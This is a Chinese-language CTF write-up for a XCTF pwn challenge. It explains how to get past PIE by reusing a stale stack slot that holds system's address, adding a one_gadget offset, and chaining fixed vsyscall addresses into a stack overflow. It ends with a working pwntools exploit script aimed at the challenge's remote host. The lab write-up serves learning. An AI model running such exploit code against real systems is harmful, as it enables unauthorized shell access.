Loading... ##### *一些废话* *这道题目有一种更具普遍性的解法(xctf提供)即部分leak system然后爆破,但是这样的几率非常低(大约万分之一),大体是通过修改rbp实现leak system的四个字节(前提是发现ida的一个识别错误),处理起来非常的麻烦,可以说很难想出这个解法。当然我是什么解法都不会的,从网络上的wp中发现了非常容易实现的利用方法,但是在大多数机器上都无法实现利用,而xctf的靶机恰巧不属于这大多数* ### 初步分析  这里是主要的漏洞点,就是一个栈溢出。如果这道题没用开pie那么随随便便就pwn了,但是可惜没如果,程序确实是开了pie的,也就是说我们什么地址都不知道,就没法rop了。 ### 更进一步 之前在学srop的时候其实有碰到,但是当时没仔细看 > 有些系统上 SROP 的地址被随机化了,而有些则没有。比如说`Linux < 3.3 x86_64`(在 Debian 7.0, Ubuntu Long Term Support, CentOS 6 系统中默认内核),可以直接在 vsyscall 中的固定地址处找到 syscall&return 代码片段。如下 >  <center style="font-size:14px;color:#C0C0C0;text-decoration:underline" href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/srop-zh/#_3">引自CTF Wiki</center> 这张图当时觉得长得奇奇怪怪的,自然的略过了,但是其实不仅对srop有用,对本题也非常有用,这三个vsyscall的地址是固定的(据说是内核层的,所以虚拟机无法模拟),每一个的效果都是 ``` syscall rax ret ``` 也就是说可以充当一个pop_ret gadget,而且地址已知。有了这个gadget我们可以有限地控制程序的执行流程了。 ### 最后的解法   这个hint函数在反编译中表现为system的地址作为参数被传入sprintf,但是从汇编代码上来看,实际上在函数刚开始的时候system的地址就被存到栈中了,不论if的结果。 &system被存在rbp-0x110  巧的是go函数中的v5也在rbp-0x110,这个函数和hint函数的栈基地址是相同的,所以v5的初值就是system的地址,而只要在询问"how many levels?"的时候输入一个小于等于0的数就可以避免v5被赋值,然后会再给我们一次输入的机会,输入的值直接加到v5上(这里的v5和v6的地址是相同的)。 考虑到手上有一个libc,就勉为其难的搜一波one_gadget吧,算出其与system的偏移在第二次输入就可以了。 这样我们我们就获得了一个可以get shell的地址,只要ret它就行了,ida分析出,v5与rsp相距0x10,看一看汇编代码也可以发现rsp在整个go函数调用漏洞函数前没有被修改过,call漏洞函数时,会压一个返回地址进去,所以one_gadget所在的内存和rbp被存储的内存相据0x10+0x8,我们用三个vsyscall就可以ret one_gadget实现get shell了。  这里的v6肯定远大于99,所以我们要先陪它玩99次乘法,然后在最后一次(也就是go函数直接调用的漏洞函数)进行栈溢出,就可以get shell了。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * #context(log_level = 'debug') sh = remote("220.249.52.134",31264) libc = ELF("./libc.so") one_gadget_offset = 0x4526a - libc.symbols['system'] vsyscall = 0xffffffffff600000 sh.sendlineafter("Choice:\n",'2') sh.sendlineafter("Choice:\n",'1') sh.sendlineafter("levels?\n",'0') sh.sendlineafter("more?\n",str(one_gadget_offset)) for i in range(99): sh.recvuntil("Question: ") lhs = int(sh.recvuntil(' ',drop = True),base = 10) sh.recvuntil("* ") rhs = int(sh.recvuntil(' ',drop = True),base = 10) sh.sendlineafter("Answer:",str(lhs * rhs)) sh.sendlineafter("Answer:",'a' * 0x30 + 'b' * 0x8 + p64(vsyscall) * 3) sh.interactive() ``` 这个exp跑本地基本十有十二跑不通(应该不会有人用那些上古版本的Linux版本吧),但是靶机上是可以跑的。仔细想想此题在许多地方进行了非常巧合的布置,显然是希望我们用这样的方法做的,但是说实话这样和实战的距离就实在是太远了,权当开拓思路吧。 最后修改:2021 年 01 月 01 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧